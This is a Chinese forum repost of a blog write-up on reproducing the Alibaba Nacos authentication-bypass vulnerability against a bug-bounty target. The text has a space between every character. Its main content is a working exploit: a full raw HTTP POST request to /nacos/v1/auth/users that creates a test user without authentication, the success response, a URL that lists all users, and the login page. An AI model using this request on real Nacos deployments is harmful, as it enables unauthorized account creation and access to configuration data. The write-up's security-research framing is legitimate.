搜索

[7520] 2021-02-26_某企业SRC的AlibabaNacos认证绕过漏洞实战

文档创建者：s7ckTeam
浏览次数：29
最后更新：2025-01-17
2021-02-26_某企业SRC的AlibabaNacos认证绕过漏洞实战 某 企 业 S R C 的 A l i b a b a   N a c o s   认 证 绕 过 漏 洞 实 战 原 创   考 研 勇 士   F 1 2 s e c   2 0 2 1 - 0 2 - 2 6 收 录 于 话 题   # 实 战 分 享   , 2 8 个 又 到 了 我 的 日 常 水 文 时 间 ， 正 好 最 近 学 了 个 新 洞 ， 遂 记 录 一 下 。 又 到 了 我 的 日 常 水 文 时 间 ， 正 好 最 近 学 了 个 新 洞 ， 遂 记 录 一 下 。 n a c o s 的 认 证 绕 过 安 全 漏 洞 ， 在 n a c o s 开 启 了 鉴 权 后 ， 依 然 能 绕 过 鉴 权 访 问 任 何 h t t p 接 口 。 调 用 任 何 接 口 ， 通 过 该 漏 洞 ， 我 们 可 以 绕 过 鉴 权 ， 做 到 ： 调 用 添 加 用 户 接 口 ， 添 加 新 用 户 , 然 后 使 用 新 添 加 的 用 户 登 录 c o n s o l e ， 访 问 、 修 改 、 添 加 数 据 。 下 面 这 个 文 章 原 理 以 及 代 码 讲 的 很 清 楚 ， 想 要 深 入 了 解 的 同 学 可 以 看 一 看 。 h t t p s : / / j a v a z h i y i n . b l o g . c s d n . n e t / a r t i c l e / d e t a i l s / 1 1 2 7 9 1 4 8 1 阿 里   N a c o s   惊 爆 ， 安 全 漏 洞 以 绕 过 身 份 验 证 （ 附 修 复 建 议 ） N a c o s   < =   2 . 0 . 0 - A L P H A . 1 N a c o s     <   1 . 4 . 1 前 天 心 血 来 潮 在 整 理 某 S R C 资 产 的 时 候 ， 突 然 发 现 这 样 一 个 熟 悉 的 登 陆 系 统 看 到 这 个 系 统 ， 突 然 想 起 了 上 次 爆 出 的 A l i b a b a   N a c o s 权 限 认 证 绕 过 漏 洞 权 限 认 证 绕 过 漏 洞 于 是 抱 着 试 试 的 想 法 ， 根 据 漏 洞 文 章 复 现 了 一 下 ， 首 先 ， 对 以 下 接 口 进 行 p o s t 请 求 ， 即 可 绕 过 权 限 认 证 ， 创 建 一 个 以 t e s t 为 用 户 名 ， t e s t 为 密 码 的 用 户 0 x 0 0 漏 洞 背 景 漏 洞 背 景 0 x 0 1 漏 洞 详 情 漏 洞 详 情 0 x 0 2 漏 洞 影 响 范 围 漏 洞 影 响 范 围 0 x 0 3 漏 洞 实 战 复 现 （ 某 企 业 漏 洞 实 战 复 现 （ 某 企 业 S R C ） ） / n a c o s / v 1 / a u t h / u s e r s ? u s e r n a m e = t e s t & p a s s w o r d = t e s t P O S T   / n a c o s / v 1 / a u t h / u s e r s ? u s e r n a m e = t e s t & p a s s w o r d = t e s t   H T T P / 1 . 1 H o s t :   x x x x x x . c o m U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 8 5 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 8 5 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n n e c t i o n :   c l o s e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 X - F o r w a r d e d - F o r :   1 2 7 . 0 . 0 . 1 C a c h e - C o n t r o l :   m a x - a g e = 0 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   0
返 回 包 为 即 成 功 创 建 了 用 户 在 利 用 以 下 接 口 ， 即 可 查 看 该 系 统 全 部 用 户 访 问 可 以 看 到 返 回 包 中 出 现 了 刚 刚 创 建 的 t e s t 用 户 接 下 来 访 问 登 录 界 面 登 录 即 可 {         " c o d e " : 2 0 0 ,         " m e s s a g e " : " c r e a t e   u s e r   o k ! " ,         " d a t a " : n u l l } / n a c o s / v 1 / a u t h / u s e r s ? p a g e N o = 1 & p a g e S i z e = 9 9 9 h t t p : / / x x x x x x . c o m / n a c o s / v 1 / a u t h / u s e r s ? p a g e N o = 1 & p a g e S i z e = 9 9 9 h t t p : / / x x x x x x . c o m / n a c o s / # / l o g i n
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理